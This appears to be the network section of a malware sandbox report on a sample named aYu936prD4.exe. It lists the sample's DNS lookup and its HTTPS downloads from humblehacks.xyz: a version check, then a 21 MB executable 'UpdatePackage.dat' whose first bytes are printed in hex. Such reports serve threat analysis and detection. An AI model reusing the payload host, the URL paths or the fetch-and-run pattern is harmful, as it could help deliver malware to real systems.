Dec 29, 2024 09:05:00.224201918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.224283934 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.226289988 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.226371050 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.227813959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.227896929 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.229353905 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.229439974 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.230784893 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.231026888 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.232181072 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.232258081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.234173059 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.234252930 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.235645056 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.235733986 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.237101078 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.237181902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.238555908 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.238636017 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.240736008 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.240818024 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.417907000 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.417999983 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.418927908 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.419011116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.420403957 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.420490026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.421926975 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.422003031 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.424077034 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.424154997 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.425479889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.425565004 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.426989079 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.427084923 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.428464890 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.428539991 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.429929018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.430013895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.432102919 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.432187080 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.433523893 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.433599949 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.435089111 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.435170889 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.436304092 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.436387062 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.438405037 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.438486099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.439846992 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.439935923 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.441535950 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.441622972 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.443027020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.443109035 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.619476080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.619585991 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.621066093 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.621179104 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.623373032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.623469114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.624820948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.624898911 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.626379967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.626456976 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.627918959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.628000021 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.629097939 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.629169941 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.631022930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.631105900 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.632597923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.632677078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.634040117 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.634118080 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.635524988 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.635608912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.637501001 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.637583971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.638899088 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.638971090 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.640407085 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.640476942 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.641863108 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.641932011 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.643579960 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.643651009 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.820600033 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.820806026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.822014093 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.822091103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.823545933 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.823612928 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.825037003 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.825105906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.826520920 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.826581955 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.828603983 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.828686953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.830154896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.830224991 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.832427025 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.832493067 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.834441900 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.834525108 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.835515976 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.835583925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.836369038 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.836431980 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.838131905 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.838207960 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.838876009 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.838932037 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.838941097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.838979959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:00.838987112 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.839041948 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:00.846163034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:16.610028982 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:16.610070944 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:16.610219955 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:16.613980055 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:16.613996029 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.019675016 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.019785881 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.021351099 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.021358013 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.021681070 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.068242073 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.070295095 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.115339041 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.574436903 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.574599981 CET	443	49808	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.574667931 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.577069044 CET	49808	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.800193071 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.800230026 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:18.800388098 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.800586939 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:18.800601006 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.251328945 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.269788980 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.269804955 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.825925112 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.825952053 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.826029062 CET	443	49814	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.826066017 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.828058004 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.828896046 CET	49814	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.842552900 CET	49820	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.842592955 CET	443	49820	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:20.842772007 CET	49820	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.843329906 CET	49820	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:20.843343973 CET	443	49820	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:22.272324085 CET	443	49820	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:22.273535013 CET	49820	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:22.273557901 CET	443	49820	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:22.827692032 CET	443	49820	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:22.827884912 CET	443	49820	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:22.828003883 CET	49820	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:22.828252077 CET	49820	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:30.344247103 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:30.344305992 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:30.344400883 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:30.360979080 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:30.360992908 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.238094091 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.238185883 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.452969074 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.453001022 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.453375101 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.453447104 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.475354910 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.519336939 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.907486916 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.907632113 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.907659054 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.907672882 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.907742977 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.909749031 CET	49841	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.909769058 CET	443	49841	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.928626060 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.928682089 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:32.928757906 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.930325985 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:32.930346012 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.360347986 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.360424995 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.361052036 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.361052036 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.361059904 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.361076117 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.927103996 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.927222967 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.927257061 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.927735090 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.929752111 CET	49848	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.929761887 CET	443	49848	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.943437099 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.943471909 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:34.943550110 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.943914890 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:34.943926096 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.328035116 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.330465078 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.330578089 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.330590010 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.330722094 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.330728054 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.870750904 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.870780945 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.870862007 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.870868921 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.871701956 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.872296095 CET	49854	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.872324944 CET	443	49854	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.953964949 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.953999996 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:36.954082966 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.954241037 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:36.954255104 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.405719995 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.405805111 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.406181097 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.406188965 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.406327963 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.406332970 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.980401039 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.980487108 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.980503082 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.980537891 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:38.980560064 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.980582952 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.981147051 CET	49859	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:38.981158018 CET	443	49859	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:39.266710043 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:39.266741991 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:39.266819954 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:39.267014027 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:39.267024994 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:40.859951973 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:40.867466927 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:40.867487907 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:41.417996883 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:41.418052912 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:41.418148994 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.418169022 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:41.418222904 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.418227911 CET	443	49865	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:41.418289900 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.418524027 CET	49865	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.418912888 CET	49869	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.418945074 CET	443	49869	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:41.419020891 CET	49869	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.419178009 CET	49869	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:41.419190884 CET	443	49869	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:42.825325966 CET	443	49869	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:42.826498032 CET	49869	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:42.826533079 CET	443	49869	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:43.388087988 CET	443	49869	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:43.391280890 CET	443	49869	92.205.3.41	192.168.2.5
Dec 29, 2024 09:05:43.391380072 CET	49869	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:05:43.391556025 CET	49869	443	192.168.2.5	92.205.3.41

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 09:04:18.838181019 CET	55848	53	192.168.2.5	1.1.1.1
Dec 29, 2024 09:04:19.070024967 CET	53	55848	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 09:04:18.838181019 CET	192.168.2.5	1.1.1.1	0x837f	Standard query (0)	humblehacks.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 09:04:19.070024967 CET	1.1.1.1	192.168.2.5	0x837f	No error (0)	humblehacks.xyz		92.205.3.41	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

humblehacks.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	92.205.3.41	443	7096	C:\Users\user\Desktop\aYu936prD4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:04:21 UTC	87	OUT	GET /patch/Vivian/patch.txt HTTP/1.1 Host: humblehacks.xyz Connection: Keep-Alive
2024-12-29 08:04:21 UTC	286	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:04:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 13:16:08 GMT ETag: "7781b37-7-629efccb9555e" Accept-Ranges: bytes Content-Length: 7 Vary: Accept-Encoding Content-Type: text/plain
2024-12-29 08:04:21 UTC	7	IN	Data Raw: 31 2e 34 2e 35 2e 30 Data Ascii: 1.4.5.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	92.205.3.41	443	7096	C:\Users\user\Desktop\aYu936prD4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:04:26 UTC	71	OUT	GET /patch/Vivian/UpdatePackage.dat HTTP/1.1 Host: humblehacks.xyz
2024-12-29 08:04:26 UTC	273	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:04:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 13:16:49 GMT ETag: "7781b38-14add10-629efcf269536" Accept-Ranges: bytes Content-Length: 21683472 Vary: Accept-Encoding
2024-12-29 08:04:26 UTC	7919	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 25 62 69 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 14 9d 00 00 56 00 00 00 00 00 00 ce 32 9d 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 4b 01 00 04 00 00 66 8e 4b 01 02 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd%big"V2 @ @KfK`
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: d6 61 1c 88 57 e4 c1 4d 32 15 26 74 f7 55 f8 8b 4f b9 c5 74 e0 01 04 00 00 60 04 5e 71 04 56 f4 4f ce 0b d3 ef 6f e8 42 d4 6c 27 1d b3 b9 c0 13 d6 8a e7 12 be 66 d6 fe 0c 7d cc a9 a2 3b 56 00 05 1d cd 82 05 c4 00 00 00 01 04 00 00 20 f7 a1 48 d3 5e 25 ce 48 27 95 5d 3e a2 4e ed 97 b8 eb c1 5e d9 66 f7 08 35 7f 5e fa 2f 62 87 4c 0e 84 1f cd f6 ce 7b 47 18 fd 75 04 00 00 00 01 04 00 00 25 49 77 90 08 44 d5 c1 d4 06 60 f5 fb 87 38 9b c2 4c e1 f5 f1 46 99 1b cf f7 e9 44 4d d6 7b 41 82 00 00 00 01 04 00 00 f5 2b 4a 57 e1 60 fd 84 c9 9d a4 bb e3 53 b7 22 0c fa a2 07 af 5f c7 d0 e7 40 c7 30 e8 16 fd a1 9b 32 4c 0e 88 0b 1b cf f9 d7 9d db 5c 58 56 00 01 04 00 00 39 ea f9 db b8 86 19 d9 e0 e8 a7 58 28 fa ef 41 6a 82 b3 1e 93 02 7e 22 9f dc 35 69 c5 ba ef 80 ee 2d Data Ascii: aWM2&tUOt`^qVOoBl'f};V H^%H']>N^f5^/bL{Gu%IwD`8LFDM{A+JW`S"_@02L\XV9X(Aj~"5i-
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: c3 1d b0 80 26 de ea 9d b3 d5 6f 11 8a ed 8c c5 8c d8 42 8b ca ad 51 eb 3c d6 95 26 b7 29 95 75 19 55 5a 92 c7 80 7d 79 59 2e 84 70 93 65 6f 45 97 0f 8d d7 5a 9f 94 d7 55 f7 f1 d0 7d 89 5d 65 74 bd b1 db 01 93 fb d7 00 01 04 00 00 be 8a d1 68 10 c0 e5 47 5c 5a da 5e 78 26 56 88 60 7f 59 98 2b 72 cd 9c 3d 1f 5e 63 bd 61 8b 3c 4a b1 fd 00 01 04 00 00 01 e9 47 18 54 42 83 d1 29 0d 8c bf 85 c7 37 74 84 a9 2a 0d a1 da 41 08 32 e4 30 56 32 65 6a b1 43 07 42 30 f3 b1 50 19 3f ff 17 f6 56 f0 e4 eb 9f df f9 46 fc b5 eb 58 51 5c 49 84 40 77 7e 95 37 50 f9 54 ad 11 8b 5b a8 38 10 24 83 45 51 65 ee b5 29 a0 36 34 e7 f5 c7 0f f4 3c ef e8 b6 50 e4 ad b3 ad 09 cb fa 3e 6d 9e bf 70 94 2c 45 8b 7b 14 01 42 d6 c1 fc 89 9c e3 79 a6 c5 20 d8 8b 53 06 ba 63 8f 45 66 6b 95 1b Data Ascii: &oBQ<&)uUZ}yY.peoEZU}]ethG\Z^x&V`Y+r=^ca<JGTB)7t*A20V2ejCB0P?VFXQ\I@w~7PT[8$EQe)64<P>mp,E{By ScEfk
